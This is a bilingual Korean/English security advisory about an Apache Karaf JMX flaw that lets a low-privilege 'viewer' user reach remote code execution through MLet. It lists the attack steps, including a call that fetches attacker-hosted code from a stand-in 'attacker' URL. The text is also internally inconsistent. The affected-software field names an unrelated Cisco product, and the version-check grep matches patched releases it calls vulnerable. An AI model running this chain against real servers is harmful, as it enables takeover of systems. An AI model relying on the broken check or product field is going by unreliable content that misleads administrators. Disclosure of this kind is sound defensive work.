🇰🇷 한글 설명
Apache Karaf의 JMX MBeanServerGuard에서 RBAC(역할 기반 액세스 제어)가 특정 생명주기 메서드(createMBean, registerMBean, unregisterMBean)를 누락하여 발생하는 취약점입니다. 이를 통해 권한이 낮은 'viewer' 역할의 사용자도 MLet MBean을 사용하여 원격에서 임의의 클래스를 로드하고 코드를 실행(RCE)할 수 있습니다.
💡 쉬운 설명
낮은 권한을 가진 사용자가 보안 검사를 우회하여 서버에 악성 프로그램을 몰래 설치하고 실행할 수 있는 보안 구멍이 발견되었습니다. 공격자는 이를 통해 서버의 제어권을 완전히 탈취할 수 있습니다.
🇺🇸 원문 (English)
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
📍 영향받는 시스템
Apache Karaf (4.4.12 및 4.5.0 미만 버전)
⚔️ 공격 벡터
JMX 엔드포인트에 인증 후, RBAC 검사를 거치지 않는 createMBean을 통해 MLet을 생성하고 getMBeansFromURL을 호출하여 원격 코드를 실행함
🛡️ 대응 방법
Apache Karaf를 4.4.12 또는 4.5.0 이상 버전으로 즉시 업그레이드하거나, JMX 포트(1099, 44444)에 대한 네트워크 접근을 신뢰할 수 있는 호스트로 제한하십시오.
🔧 검증 코드
출력된 버전이 4.4.12 미만이거나 4.5.0 미만인 경우 취약한 버전이 설치된 것입니다.
java -jar karaf-distribution.jar --version | grep -E '4\.(4\.[0-9]|5\.[0-9])'
📊 CVSS Vector String
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
💻 영향받는 소프트웨어
Cisco Secure Endpoint Connector